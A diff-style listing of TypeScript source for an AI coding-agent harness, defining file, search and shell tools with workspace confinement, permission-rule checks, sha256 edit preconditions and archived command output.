access: "shell", execution: "exclusive", branch: "write", run: toolWriteStdin,
|
|
714
|
-
description:
|
|
715
|
-
"Send characters to an owned running process handle and return the output since the last call. " +
|
|
716
|
-
"In an agent session, empty chars waits for new output, exit, hard timeout, cancellation or user steering without periodic model polling. Include \\n to submit a line; \\u0003 is Ctrl-C, \\u0004 is Ctrl-D (end of input). " +
|
|
717
|
-
"After exit, empty chars retrieves the last receipt without rerunning or producing fresh verification. Source and byte cursor are in data; full_output recovers all captured output. " +
|
|
718
|
-
"Lost handles cannot accept input; a last running observation is not an exit. Ctrl-C may interrupt a PTY foreground job while its REPL stays alive.",
|
|
719
|
-
input_schema: {
|
|
720
|
-
type: "object",
|
|
721
|
-
properties: {
|
|
722
|
-
session_id: { type: "integer", minimum: 1 },
|
|
723
|
-
chars: { type: "string", description: "Characters to write; empty to poll" },
|
|
724
|
-
yield_time_ms: { type: "integer", description: "Bounded wait when sending input or using low-level polling, effective range 100-30000; an agent's empty wait returns at exit or at the end of a window with new output, window default 10000, effective range 5000-300000; values outside are clamped" },
|
|
725
|
-
max_output_tokens: { type: "integer", minimum: 1, description: "Lower this call's inline output preview to about this many tokens; full output stays recoverable" },
|
|
726
|
-
},
|
|
727
|
-
required: ["session_id"],
|
|
728
|
-
},
|
|
729
|
-
},
|
|
730
|
-
{
|
|
731
|
-
name: "grep",
|
|
732
|
-
access: "read", execution: "parallel", branch: "read", run: toolGrep,
|
|
733
|
-
// Forces the TypeScript walk or ripgrep so both engines stay testable.
|
|
734
|
-
hiddenInputs: ["engine"],
|
|
735
|
-
description:
|
|
736
|
-
"Search file contents for a regex. Stays inside the workspace, does " +
|
|
737
|
-
"not follow symlinks, and skips .git, node_modules and .xeno. Uses " +
|
|
738
|
-
"ripgrep when it is on PATH or in xeno's bin directory, otherwise a TypeScript walk. " +
|
|
739
|
-
"Reports scan completeness separately from preview truncation. Long matches and omitted results remain in an immutable history artifact; use its sha256 and byte offset to recover them. Unknown or partial coverage cannot prove absence.",
|
|
740
|
-
input_schema: {
|
|
741
|
-
type: "object",
|
|
742
|
-
properties: {
|
|
743
|
-
pattern: { type: "string", description: "Regular expression to search for" },
|
|
744
|
-
path: { type: "string", description: "File or directory, relative to the workspace root" },
|
|
745
|
-
glob: { type: "string", description: "Only search files matching this glob" },
|
|
746
|
-
limit: { type: "number", description: "Maximum matches to return" },
|
|
747
|
-
},
|
|
748
|
-
required: ["pattern"],
|
|
749
|
-
},
|
|
750
|
-
},
|
|
751
|
-
{
|
|
752
|
-
name: "find",
|
|
753
|
-
access: "read", execution: "parallel", branch: "read", run: toolFind,
|
|
754
|
-
description:
|
|
755
|
-
"Find files by glob pattern. Stays inside the workspace, does not " +
|
|
756
|
-
"follow symlinks, and skips .git, node_modules and .xeno. Uses fd " +
|
|
757
|
-
"when it is already on PATH, otherwise a TypeScript walk. Omitted paths remain in a history artifact; scan completeness is reported separately.",
|
|
758
|
-
input_schema: {
|
|
759
|
-
type: "object",
|
|
760
|
-
properties: {
|
|
761
|
-
pattern: { type: "string", description: "Glob, e.g. '*.ts' or 'src/**/*.md'" },
|
|
762
|
-
path: { type: "string", description: "Directory, relative to the workspace root" },
|
|
763
|
-
limit: { type: "number", description: "Maximum paths to return" },
|
|
764
|
-
},
|
|
765
|
-
required: ["pattern"],
|
|
766
|
-
},
|
|
767
|
-
},
|
|
768
|
-
{
|
|
769
|
-
name: "ls",
|
|
770
|
-
access: "read", execution: "parallel", branch: "read", run: toolLs,
|
|
771
|
-
description:
|
|
772
|
-
"List a directory. Directories are marked with a trailing '/'. Stays " +
|
|
773
|
-
"inside the workspace, does not follow symlinks, and skips .git, " +
|
|
774
|
-
"node_modules and .xeno. Omitted entries remain in a history artifact with exact byte offsets.",
|
|
775
|
-
input_schema: {
|
|
776
|
-
type: "object",
|
|
777
|
-
properties: {
|
|
778
|
-
path: { type: "string", description: "Directory, relative to the workspace root" },
|
|
779
|
-
limit: { type: "number", description: "Maximum entries to return" },
|
|
780
|
-
},
|
|
781
|
-
required: [],
|
|
782
|
-
},
|
|
783
|
-
},
|
|
784
|
-
];
|
|
785
|
-
|
|
786
|
-
/** Runtime policy metadata never leaks into provider-specific wire schemas. */
|
|
787
|
-
export function modelToolSchema(tool: ToolSchema & Pick<ToolDefinition, "guidance" | "example">, builtins: readonly string[]): ToolSchema {
|
|
788
|
-
const description = toolDescription(tool.description, tool.guidance ?? [], builtins);
|
|
789
|
-
return { name: tool.name, description: description + (tool.example ? ` Example input (paths and IDs are illustrative): ${JSON.stringify(tool.example)}` : ""), input_schema: tool.input_schema };
|
|
790
|
-
}
|
|
791
|
-
|
|
792
|
-
export const ALL_TOOL_SCHEMAS: ToolSchema[] = TOOL_DEFINITIONS.map(tool => modelToolSchema(tool, TOOL_DEFINITIONS.map(item => item.name)));
|
|
793
|
-
export const TOOL_SCHEMAS: ToolSchema[] = TOOL_DEFINITIONS.filter(tool => !tool.optional).map(tool => modelToolSchema(tool, TOOL_DEFINITIONS.filter(item => !item.optional).map(item => item.name)));
|
|
794
|
-
|
|
795
|
-
export function toolDefinition(name: string, ctx?: ToolContext): ToolDefinition | undefined {
|
|
796
|
-
return ctx?.extensions?.get(name) ?? TOOL_DEFINITIONS.find(tool => tool.name === name);
|
|
797
|
-
}
|
|
798
|
-
|
|
799
|
-
/** Visible builtin contracts only; a same-named extension does not implement that contract. */
|
|
800
|
-
export function adviceTools(ctx: ToolContext): string[] {
|
|
801
|
-
return TOOL_DEFINITIONS.map(tool => tool.name).filter(name => !ctx.extensions?.has(name) &&
|
|
802
|
-
(ctx.advice === undefined || ctx.advice.includes(name)) &&
|
|
803
|
-
(ctx.allow === undefined || ctx.allow.includes(name)) &&
|
|
804
|
-
decideWithSessionRules(ctx.rules ?? [], ctx.sessionRules ?? [], { tool: name }) !== "deny");
|
|
805
|
-
}
|
|
806
|
-
|
|
807
|
-
/** A proposed recovery is data, not execution. Validate it against today's exact admission inputs. */
|
|
808
|
-
function scopeToolAdvice(ctx: ToolContext, result: ToolResult): ToolResult {
|
|
809
|
-
const names = adviceTools(ctx);
|
|
810
|
-
const scope = (diagnostic: ToolDiagnostic): ToolDiagnostic => {
|
|
811
|
-
let allowed = false;
|
|
812
|
-
const recover = diagnostic.recover;
|
|
813
|
-
if (recover && names.includes(recover.tool)) {
|
|
814
|
-
try {
|
|
815
|
-
const input = normalizeToolInput(ctx, recover.tool, recover.input);
|
|
816
|
-
const definition = toolDefinition(recover.tool, ctx)!;
|
|
817
|
-
allowed = inputError(definition.input_schema, input, "input", definition.hiddenInputs) === null &&
|
|
818
|
-
decideWithSessionRules(ctx.rules ?? [], ctx.sessionRules ?? [], permissionRequest(recover.tool, input)) !== "deny";
|
|
819
|
-
} catch { /* Unavailable or invalid advice is omitted; the original failure remains. */ }
|
|
820
|
-
}
|
|
821
|
-
return scopeFailureGuidance(diagnostic, names, allowed);
|
|
822
|
-
};
|
|
823
|
-
return { ...result, ...(result.diagnostic ? { diagnostic: scope(result.diagnostic) } : {}),
|
|
824
|
-
...(result.warnings ? { warnings: result.warnings.map(scope) } : {}) };
|
|
825
|
-
}
|
|
826
|
-
|
|
827
|
-
export const NATIVE_COMMAND_NAME = "$extension.exec";
|
|
828
|
-
export interface NativeCommandInput { argv: string[]; cwd?: string; timeout?: number }
|
|
829
|
-
export interface NativeCommandResult { stdout: string; stderr: string; code: number; killed: boolean }
|
|
830
|
-
|
|
831
|
-
/** Pi A: host authority is installed by the broker, not selected by a model parameter. */
|
|
832
|
-
export function nativeCommandContext(ctx: ToolContext, signal?: AbortSignal): ToolContext {
|
|
833
|
-
return { ...ctx, origin: "extension", allow: ctx.readonlyBranch ? [] : [NATIVE_COMMAND_NAME], rules: [], sessionRules: [],
|
|
834
|
-
extensions: new Map([[NATIVE_COMMAND_NAME, nativeCommandDefinition]]),
|
|
835
|
-
...(signal ? { signal: ctx.signal ? AbortSignal.any([ctx.signal, signal]) : signal } : {}) };
|
|
836
|
-
}
|
|
837
|
-
|
|
838
|
-
const nativeCommandDefinition: ToolDefinition = {
|
|
839
|
-
name: NATIVE_COMMAND_NAME, description: "Trusted local extension command with literal argv and independent pipe artifacts.",
|
|
840
|
-
access: "write", execution: "exclusive", branch: "none",
|
|
841
|
-
input_schema: { type: "object", properties: { argv: { type: "array", minItems: 1, items: { type: "string" } },
|
|
842
|
-
cwd: { type: "string" }, timeout: { type: "number", exclusiveMinimum: 0 } }, required: ["argv"] },
|
|
843
|
-
run: async (ctx, input) => {
|
|
844
|
-
const argv = input["argv"] as string[];
|
|
845
|
-
const requested = input["timeout"] as number | undefined;
|
|
846
|
-
if (requested !== undefined && (!Number.isFinite(requested) || requested <= 0)) return failure("invalid_input", "native timeout must be positive milliseconds");
|
|
847
|
-
const timeoutMs = commandTimeout(requested === undefined ? undefined : requested / 1000, ctx.timeoutMs, ctx.maxTimeoutMs);
|
|
848
|
-
const captured = await observeArgvCommand({ argv, cwd: typeof input["cwd"] === "string" ? resolve(ctx.root, input["cwd"]) : ctx.root,
|
|
849
|
-
outputStore: ctx.outputStore ?? join(ctx.root, ".xeno", "observations"), maxOutputBytes: ctx.maxOutputBytes, timeoutMs,
|
|
850
|
-
...(ctx.signal ? { signal: ctx.signal } : {}), ...(ctx.onOutput ? { onOutput: ctx.onOutput } : {}) });
|
|
851
|
-
// A display representation only: execution above never reparses a command string.
|
|
852
|
-
const command = argv.map(arg => "'" + arg.replaceAll("'", "'\\''") + "'").join(" ");
|
|
853
|
-
const gate = matchGate(ctx, command);
|
|
854
|
-
const header = commandHeader({ exit: captured.exit, wallMs: captured.wallMs, timeoutMs,
|
|
855
|
-
...(requested !== undefined ? { requestedMs: requested } : {}), ...(captured.stopped ? { stopped: captured.stopped } : {}) });
|
|
856
|
-
return { ...commandCompletion(captured.exit, captured.stopped, captured.cleanup),
|
|
857
|
-
content: header + "\n" + observationView(captured, ctx.maxOutputBytes - utf8Length(header) - 1, captured.prefixBytes, adviceTools(ctx)),
|
|
858
|
-
content_ref: captured.ref,
|
|
859
|
-
data: { code: captured.exit, killed: captured.stopped !== undefined, capture: captured.capture, stdout: captured.stdout, stderr: captured.stderr,
|
|
860
|
-
...(captured.cleanup ? { cleanup: "unknown" } : {}) },
|
|
861
|
-
effect: { kind: "command", cmd: command, exit: captured.exit, ...(gate ? { gate } : {}), ...await commandFingerprint(ctx) } };
|
|
862
|
-
},
|
|
863
|
-
};
|
|
864
|
-
|
|
865
|
-
/** SDK strings are hydrated from integrity-checked artifacts after the independent receipt commits. */
|
|
866
|
-
export async function nativeCommandResult(result: ToolResult, store: string): Promise<NativeCommandResult> {
|
|
867
|
-
if (result.effect?.kind !== "command" || typeof result.data !== "object" || !result.data || Array.isArray(result.data)) throw new Error(result.content);
|
|
868
|
-
const data = result.data as { code: number; killed: boolean; capture: string; stdout: ArtifactRef; stderr: ArtifactRef };
|
|
869
|
-
if ("cleanup" in data && data.cleanup === "unknown") throw new Error("native command exited but process-group cleanup is unconfirmed; inspect the retained receipt before retrying");
|
|
870
|
-
if (data.capture !== "complete") throw new Error("native command exited but pipe capture is partial; inspect the retained receipt before retrying");
|
|
871
|
-
const [stdout, stderr] = await Promise.all([data.stdout, data.stderr].map(ref => readObservation(store, ref.sha256, 0, Math.max(1, ref.bytes))));
|
|
872
|
-
return { stdout: stdout!.text, stderr: stderr!.text, code: data.code, killed: data.killed };
|
|
873
|
-
}
|
|
874
|
-
|
|
875
|
-
// ---------------------------------------------------------------------------
|
|
876
|
-
// Implementations
|
|
877
|
-
// ---------------------------------------------------------------------------
|
|
878
|
-
|
|
879
|
-
/**
|
|
880
|
-
* Read limits. pi uses the same 2000 lines / 2000 characters: a page large
|
|
881
|
-
* enough that most source files arrive whole, small enough that a log file
|
|
882
|
-
* or a minified bundle cannot spend the observation budget on its own.
|
|
883
|
-
*/
|
|
884
|
-
const READ_DEFAULT_LINES = 2_000;
|
|
885
|
-
|
|
886
|
-
async function toolRead(ctx: ToolContext, input: Record<string, unknown>): Promise<ToolResult> {
|
|
887
|
-
const path = String(input["path"] ?? "");
|
|
888
|
-
const resource = ctx.skillResources?.find(item => item.path === resolve(ctx.root, path));
|
|
889
|
-
if (resource && !resource.modelInvocable) return failure("permission_denied", "this skill requires explicit user invocation");
|
|
890
|
-
const abs = resource ? resource.path : confine(ctx, path);
|
|
891
|
-
if (typeof abs !== "string") return failure("permission_denied", abs.error);
|
|
892
|
-
|
|
893
|
-
let text: string;
|
|
894
|
-
let bytes: Uint8Array;
|
|
895
|
-
try {
|
|
896
|
-
checkSourceCancellation(ctx.signal);
|
|
897
|
-
bytes = resource ? new TextEncoder().encode(resource.text) : await readFile(abs, ctx.signal ? { signal: ctx.signal } : {});
|
|
898
|
-
checkSourceCancellation(ctx.signal);
|
|
899
|
-
text = Buffer.from(bytes).toString("utf8");
|
|
900
|
-
} catch (err) {
|
|
901
|
-
return withPathSuggestions(ctx, path, caughtFailure(err, READ_ATTEMPTED, `cannot read ${path}: `));
|
|
902
|
-
}
|
|
903
|
-
|
|
904
|
-
if (ctx.imageStore && detectSupportedImageMimeType(bytes)) {
|
|
905
|
-
const image = await attachImageBytes(bytes, path, ctx.imageStore, ctx.imageAutoResize ?? true);
|
|
906
|
-
return { ok: true, content: imageDescription(image), images: [image], effect: { kind: "read", path, sha256: blobAddress(bytes) } };
|
|
907
|
-
}
|
|
908
|
-
if (bytes.subarray(0, 8_192).includes(0)) {
|
|
909
|
-
return failure("invalid_input", `${path} looks binary (${bytes.length} bytes, contains NUL); use a binary inspection tool such as xxd if permitted`, READ_ATTEMPTED);
|
|
910
|
-
}
|
|
911
|
-
const lines = toView(text).text.split("\n");
|
|
912
|
-
// Without an end, a read stops after READ_DEFAULT_LINES so one large file
|
|
913
|
-
// cannot take the whole observation budget; the notice names the next start.
|
|
914
|
-
const first = input["start"] ?? 1;
|
|
915
|
-
const end = input["end"] === undefined && Number.isSafeInteger(first) ? (first as number) + READ_DEFAULT_LINES - 1 : input["end"];
|
|
916
|
-
const bounds = readBounds(lines.length, input["start"], end);
|
|
917
|
-
if (!bounds.ok) return failure("invalid_input", bounds.message, READ_ATTEMPTED);
|
|
918
|
-
const { start } = bounds;
|
|
919
|
-
const version = sha256(bytes);
|
|
920
|
-
// The selection is what fits whole, so the receipt's range is the range shown.
|
|
921
|
-
const sized = (count: number, handle: string) =>
|
|
922
|
-
`${readNotice(start, start + count - 1, lines.length, count < bounds.end - start + 1 ? ctx.maxOutputBytes : undefined)}\nsha256: ${version}\nread_handle: ${handle}\n`;
|
|
923
|
-
const shown = linesWithin(count => sized(count, "0".repeat(64)), lines.slice(start - 1, bounds.end), start, ctx.maxOutputBytes, undefined, adviceTools(ctx));
|
|
924
|
-
const selected = { end: start + shown - 1 };
|
|
925
|
-
const slice = lines.slice(start - 1, selected.end);
|
|
926
|
-
const store = ctx.outputStore ?? join(ctx.root, ".xeno", "observations");
|
|
927
|
-
async function* one(value: Uint8Array): AsyncGenerator<Uint8Array> { yield value; }
|
|
928
|
-
// Archive actual bytes before either presentation cut. Re-reading the current file is not recovery.
|
|
929
|
-
const raw = await archiveObservation(store, one(bytes), 0);
|
|
930
|
-
const source = { host: ctx.hostId ?? hostname(), workspace: resolve(ctx.root), resource: abs, sha256: version, raw: raw.ref };
|
|
931
|
-
const selection = { start, end: selected.end, total_lines: lines.length };
|
|
932
|
-
const descriptor: FileReadDescriptor = { kind: "file_read", version: 1, source, selection };
|
|
933
|
-
const handle = await archiveObservation(store, one(new TextEncoder().encode(JSON.stringify(descriptor))), 0);
|
|
934
|
-
const header = sized(shown, handle.ref.sha256);
|
|
935
|
-
const full = new TextEncoder().encode(readObservationText(header, slice, start));
|
|
936
|
-
const observation = await archiveObservation(store, one(full), 0);
|
|
937
|
-
const preview = previewReadObservation(header, slice, start, observation.ref.sha256, ctx.maxOutputBytes, undefined, adviceTools(ctx));
|
|
938
|
-
|
|
939
|
-
const ranges: LineRange[] = [[start, selected.end]];
|
|
940
|
-
return {
|
|
941
|
-
content: preview.text, content_ref: observation.ref, content_sha256: observation.ref.sha256,
|
|
942
|
-
observation: { version: 1, source, artifact: observation.ref, descriptor: handle.ref, selection, preview: preview.preview },
|
|
943
|
-
ok: true,
|
|
944
|
-
data: { path, sha256: version, read_handle: handle.ref.sha256, start, end: selected.end, total_lines: lines.length, next_start: selected.end < lines.length ? selected.end + 1 : null },
|
|
945
|
-
observation_sha256: sha256(preview.semantic),
|
|
946
|
-
// The digest is of the whole file, not the slice: it answers "has this
|
|
947
|
-
// file changed since the agent looked", which a partial read still bears on.
|
|
948
|
-
effect: { kind: "read", path, sha256: version, ranges },
|
|
949
|
-
};
|
|
950
|
-
}
|
|
951
|
-
|
|
952
|
-
/** Read descriptors are CAS data, not executable state or an alternate permission path. */
|
|
953
|
-
async function filePrecondition(ctx: ToolContext, input: Record<string, unknown>, absolute: string, current: string | null):
|
|
954
|
-
Promise<{ ok: true; precondition: FilePrecondition } | { ok: false; result: ToolResult }> {
|
|
955
|
-
const path = String(input["path"]), handle = input["read_handle"] as string | undefined;
|
|
956
|
-
const expected = input["expected_sha256"] as string | undefined, createOnly = input["create_only"] === true;
|
|
957
|
-
const recover = { tool: "read", input: { path } };
|
|
958
|
-
const reject = (code: ToolDiagnostic["code"], message: string): { ok: false; result: ToolResult } => ({ ok: false,
|
|
959
|
-
result: { ...failure(code, message, READ_ATTEMPTED, { recover }), data: { path, sha256: current } } });
|
|
960
|
-
let descriptor: FileReadDescriptor | undefined;
|
|
961
|
-
if (handle !== undefined) {
|
|
962
|
-
if (!isFileDigest(handle)) return reject("invalid_input", "read_handle must be a descriptor SHA-256 returned by read");
|
|
963
|
-
try {
|
|
964
|
-
// Assumed metadata budget: descriptors contain identity and range, never file text.
|
|
965
|
-
const page = await readObservation(ctx.outputStore ?? join(ctx.root, ".xeno", "observations"), handle, 0, 64 * 1024);
|
|
966
|
-
if (page.next !== null) return reject("invalid_input", "read_handle descriptor exceeds the 64 KiB metadata limit");
|
|
967
|
-
const value: unknown = JSON.parse(page.text);
|
|
968
|
-
if (!isFileReadDescriptor(value)) return reject("invalid_input", "read_handle does not name a file read descriptor");
|
|
969
|
-
descriptor = value;
|
|
970
|
-
} catch { return reject("not_found", "read_handle descriptor is missing, corrupt, or unreadable; read the file here again"); }
|
|
971
|
-
}
|
|
972
|
-
const observed = handle === undefined && expected === undefined && !createOnly ? await ctx.observedFileVersion?.(absolute) : undefined;
|
|
973
|
-
const decision = checkFilePrecondition({ host: ctx.hostId ?? hostname(), workspace: resolve(ctx.root), resource: absolute }, current, {
|
|
974
|
-
...(descriptor === undefined ? {} : { descriptor }), ...(handle === undefined ? {} : { read_handle: handle }),
|
|
975
|
-
...(expected === undefined ? {} : { expected_sha256: expected }), ...(observed === undefined ? {} : { observed }), create_only: createOnly,
|
|
976
|
-
});
|
|
977
|
-
if (decision.ok) return decision;
|
|
978
|
-
const rejected = reject(decision.code, `${decision.message} (${path})`);
|
|
979
|
-
if (decision.precondition) rejected.result.data = { path, sha256: current, precondition: { ...decision.precondition } };
|
|
980
|
-
return rejected;
|
|
981
|
-
}
|
|
982
|
-
|
|
983
|
-
async function fileCommitFailure(ctx: ToolContext, absolute: string, path: string, error: unknown): Promise<ToolResult> {
|
|
984
|
-
const result = caughtFailure(error, UNKNOWN_EFFECT, `cannot write ${path}: `);
|
|
985
|
-
if (result.diagnostic?.code !== "version_mismatch") return result;
|
|
986
|
-
try {
|
|
987
|
-
const current = await readEditableFile(ctx.pathRoot ?? ctx.root, absolute);
|
|
988
|
-
const version = current.bytes === null ? null : sha256(current.bytes);
|
|
989
|
-
return { ...result, content: `${result.content}\ncurrent sha256: ${version ?? "absent"}`, data: { path, sha256: version } };
|
|
990
|
-
} catch { return result; } // A failed follow-up observation cannot invent the current version.
|
|
991
|
-
}
|
|
992
|
-
|
|
993
|
-
async function toolWrite(ctx: ToolContext, input: Record<string, unknown>): Promise<ToolResult> {
|
|
994
|
-
const path = String(input["path"] ?? "");
|
|
995
|
-
const content = String(input["content"] ?? "");
|
|
996
|
-
const abs = confine(ctx, path);
|
|
997
|
-
if (typeof abs !== "string") return failure("permission_denied", abs.error);
|
|
998
|
-
|
|
999
|
-
const saved = await readEditableFile(ctx.pathRoot ?? ctx.root, abs);
|
|
1000
|
-
const before = saved.bytes;
|
|
1001
|
-
const previous = before === null ? null : sha256(before), after = new TextEncoder().encode(content), version = sha256(after);
|
|
1002
|
-
const checked = await filePrecondition(ctx, input, abs, previous);
|
|
1003
|
-
if (!checked.ok) return checked.result;
|
|
1004
|
-
const data = { path, bytes: after.length, sha256_before: previous, sha256_after: version, precondition: { ...checked.precondition } };
|
|
1005
|
-
if (previous === version) return { ok: true, content: `no change to ${path}; sha256: ${version}`, data: { ...data, changed: false } };
|
|
1006
|
-
|
|
1007
|
-
try {
|
|
1008
|
-
await commitEdit(ctx, abs, saved, after);
|
|
1009
|
-
} catch (err) {
|
|
1010
|
-
return fileCommitFailure(ctx, abs, path, err);
|
|
1011
|
-
}
|
|
1012
|
-
|
|
1013
|
-
return {
|
|
1014
|
-
content: `wrote ${new TextEncoder().encode(content).length} bytes to ${path}`,
|
|
1015
|
-
ok: true,
|
|
1016
|
-
data: { ...data, changed: true },
|
|
1017
|
-
effect: {
|
|
1018
|
-
kind: "edit",
|
|
1019
|
-
path,
|
|
1020
|
-
sha256_before: previous,
|
|
1021
|
-
sha256_after: version,
|
|
1022
|
-
},
|
|
1023
|
-
};
|
|
1024
|
-
}
|
|
1025
|
-
|
|
1026
|
-
async function toolEdit(ctx: ToolContext, input: Record<string, unknown>): Promise<ToolResult> {
|
|
1027
|
-
const path = String(input["path"] ?? "");
|
|
1028
|
-
const edits: EditSpec[] = Array.isArray(input["edits"])
|
|
1029
|
-
? (input["edits"] as Record<string, unknown>[]).map((edit) => ({ old_string: String(edit["old_string"] ?? ""),
|
|
1030
|
-
new_string: String(edit["new_string"] ?? ""), replace_all: edit["replace_all"] === true }))
|
|
1031
|
-
: typeof input["old_string"] === "string"
|
|
1032
|
-
? [{ old_string: input["old_string"], new_string: String(input["new_string"] ?? ""), replace_all: input["replace_all"] === true }]
|
|
1033
|
-
: [];
|
|
1034
|
-
if (edits.length === 0) {
|
|
1035
|
-
const message = "edit needs old_string and new_string, or edits[]";
|
|
1036
|
-
return failure("invalid_input", message);
|
|
1037
|
-
}
|
|
1038
|
-
|
|
1039
|
-
const abs = confine(ctx, path);
|
|
1040
|
-
if (typeof abs !== "string") return failure("permission_denied", abs.error);
|
|
1041
|
-
|
|
1042
|
-
const saved = await readEditableFile(ctx.pathRoot ?? ctx.root, abs);
|
|
1043
|
-
const version = saved.bytes === null ? null : sha256(saved.bytes);
|
|
1044
|
-
const checked = await filePrecondition(ctx, input, abs, version);
|
|
1045
|
-
if (!checked.ok) return checked.result;
|
|
1046
|
-
if (saved.bytes === null) return withPathSuggestions(ctx, path, failure("not_found", `cannot read ${path}: file does not exist`, READ_ATTEMPTED));
|
|
1047
|
-
const recover = { tool: "read", input: { path } };
|
|
1048
|
-
let before: string;
|
|
1049
|
-
try { before = new TextDecoder("utf-8", { fatal: true, ignoreBOM: true }).decode(saved.bytes); }
|
|
1050
|
-
catch { return failure("invalid_input", `cannot edit ${path}: invalid UTF-8; byte-preserving inspection is required`, READ_ATTEMPTED); }
|
|
1051
|
-
const plan = planEdits(before, edits);
|
|
1052
|
-
if (!plan.ok) {
|
|
1053
|
-
const closest = plan.closest === undefined ? "" :
|
|
1054
|
-
`\nclosest match at lines ${plan.closest.startLine}-${plan.closest.endLine} (similarity ${plan.closest.score.toFixed(2)}); first difference:\n` +
|
|
1055
|
-
`-${plan.closest.expected}\n+${plan.closest.actual}\n` +
|
|
1056
|
-
`(- is your old_string, + is the file; retry with the file's text, or read lines ${plan.closest.startLine}-${plan.closest.endLine})`;
|
|
1057
|
-
const message = `${plan.message} in ${path}`;
|
|
1058
|
-
return { ok: false, content: `${message}${closest}\ncurrent sha256: ${version}`,
|
|
1059
|
-
data: { path, sha256: version, occurrences: plan.occurrences, edit: plan.edit,
|
|
1060
|
-
...(plan.closest === undefined ? {} : { closest: { start_line: plan.closest.startLine, end_line: plan.closest.endLine, score: plan.closest.score } }) },
|
|
1061
|
-
diagnostic: failureDiagnostic(plan.code, message, READ_ATTEMPTED, { recover: plan.closest === undefined ? recover
|
|
1062
|
-
: { tool: "read", input: { path, start: plan.closest.startLine, end: plan.closest.endLine } } }) };
|
|
1063
|
-
}
|
|
1064
|
-
const { after } = plan;
|
|
1065
|
-
try {
|
|
1066
|
-
await commitEdit(ctx, abs, saved, new TextEncoder().encode(after));
|
|
1067
|
-
} catch (err) {
|
|
1068
|
-
return fileCommitFailure(ctx, abs, path, err);
|
|
1069
|
-
}
|
|
1070
|
-
|
|
1071
|
-
const fuzzy = plan.fuzzy ? " (fuzzy: matched ignoring trailing whitespace, quote and dash style; check the diff)" : "";
|
|
1072
|
-
return {
|
|
1073
|
-
...await presentObservation(ctx, `replaced ${plan.replacements} occurrence(s) in ${path}${fuzzy}\nsha256: ${sha256(after)}\n${plan.diff}`),
|
|
1074
|
-
ok: true,
|
|
1075
|
-
data: { path, changed: true, precondition: { ...checked.precondition }, replacements: plan.replacements, fuzzy: plan.fuzzy, first_changed_line: plan.firstLine, sha256_before: version, sha256_after: sha256(after) },
|
|
1076
|
-
effect: {
|
|
1077
|
-
kind: "edit",
|
|
1078
|
-
path,
|
|
1079
|
-
sha256_before: version,
|
|
1080
|
-
sha256_after: sha256(after),
|
|
1081
|
-
},
|
|
1082
|
-
};
|
|
1083
|
-
}
|
|
1084
|
-
|
|
1085
|
-
async function toolEnvironment(ctx: ToolContext, input: Record<string, unknown>): Promise<ToolResult> {
|
|
1086
|
-
const cwd = typeof input["workdir"] === "string" && input["workdir"].length > 0 ? confine(ctx, input["workdir"]) : ctx.root;
|
|
1087
|
-
if (typeof cwd !== "string") return failure("permission_denied", cwd.error);
|
|
1088
|
-
const result = await observeEnvironment(ctx, cwd, String(input["program"]), input["probe"] === "python" ? "python" : "version", String(input["command"]));
|
|
1089
|
-
return result.effect?.kind === "command" ? { ...result, effect: { ...result.effect, ...await commandFingerprint(ctx) } } : result;
|
|
1090
|
-
}
|
|
1091
|
-
|
|
1092
|
-
async function toolBash(ctx: ToolContext, input: Record<string, unknown>): Promise<ToolResult> {
|
|
1093
|
-
const command = String(input["command"] ?? "");
|
|
1094
|
-
if (command.trim().length === 0) return failure("invalid_input", "empty command");
|
|
1095
|
-
const cwd = typeof input["workdir"] === "string" && input["workdir"].length > 0 ? confine(ctx, input["workdir"]) : ctx.root;
|
|
1096
|
-
if (typeof cwd !== "string") return failure("permission_denied", cwd.error);
|
|
1097
|
-
const requestedMs = typeof input["timeout"] === "number" ? input["timeout"] * 1000 : undefined;
|
|
1098
|
-
const timeoutMs = commandTimeout(typeof input["timeout"] === "number" ? input["timeout"] : undefined, ctx.timeoutMs, ctx.maxTimeoutMs);
|
|
1099
|
-
|
|
1100
|
-
const observer = await beginCommandArtifacts(ctx, command, cwd, input["artifacts"]);
|
|
1101
|
-
if (ctx.signal?.aborted) return cancelledTool();
|
|
1102
|
-
const captured = await observeCommand({ command, cwd,
|
|
1103
|
-
outputStore: ctx.outputStore ?? join(ctx.root, ".xeno", "observations"),
|
|
1104
|
-
maxOutputBytes: ctx.maxOutputBytes, timeoutMs,
|
|
1105
|
-
...(ctx.signal ? { signal: ctx.signal } : {}),
|
|
1106
|
-
...(ctx.onOutput ? { onOutput: ctx.onOutput } : {}),
|
|
1107
|
-
});
|
|
1108
|
-
|
|
1109
|
-
const gate = matchGate(ctx, command);
|
|
1110
|
-
const exit = captured.exit;
|
|
1111
|
-
const artifacts = await observer?.finish(captured);
|
|
1112
|
-
const observation = await commandFingerprint(ctx);
|
|
1113
|
-
const header = commandHeader({ exit, wallMs: captured.wallMs, timeoutMs,
|
|
1114
|
-
...(requestedMs !== undefined ? { requestedMs } : {}),
|
|
1115
|
-
...(captured.stopped ? { stopped: captured.stopped } : {}) }) + answerLabel(command, exit, captured.stopped);
|
|
1116
|
-
const artifactSummary = commandArtifactSummary(artifacts);
|
|
1117
|
-
|
|
1118
|
-
return {
|
|
1119
|
-
// The artifact starts with `exit N\n`; the view replaces that line with
|
|
1120
|
-
// the full header and pages the rest, so offsets stay artifact offsets.
|
|
1121
|
-
// Folding only shrinks the view; the artifact and its offsets keep every byte.
|
|
1122
|
-
content: header + artifactSummary + "\n" + foldCarriageReturns(observationView(captured,
|
|
1123
|
-
ctx.maxOutputBytes - utf8Length(header + artifactSummary) - 1, captured.prefixBytes, adviceTools(ctx))),
|
|
1124
|
-
content_ref: captured.ref,
|
|
1125
|
-
...commandCompletion(exit, captured.stopped, captured.cleanup, command),
|
|
1126
|
-
data: { exit, output: captured.ref, ...(captured.cleanup ? { cleanup: "unknown" } : {}), ...(artifacts ? { artifacts } : {}) },
|
|
1127
|
-
effect: {
|
|
1128
|
-
kind: "command",
|
|
1129
|
-
cmd: command,
|
|
1130
|
-
exit,
|
|
1131
|
-
// Attached from configured patterns, never guessed from the text.
|
|
1132
|
-
...(gate !== undefined ? { gate } : {}),
|
|
1133
|
-
...observation,
|
|
1134
|
-
...(artifacts ? { artifacts } : {}),
|
|
1135
|
-
},
|
|
1136
|
-
};
|
|
1137
|
-
}
|
|
1138
|
-
|
|
1139
|
-
async function commitEdit(ctx: ToolContext, absolute: string, before: Awaited<ReturnType<typeof readEditableFile>>, after: Uint8Array): Promise<void> {
|
|
1140
|
-
const path = relative(ctx.root, absolute);
|
|
1141
|
-
if (ctx.workspace && path !== ".." && !path.startsWith(`..${sep}`)) await ctx.workspace.edit(path, before, after, ctx.signal);
|
|
1142
|
-
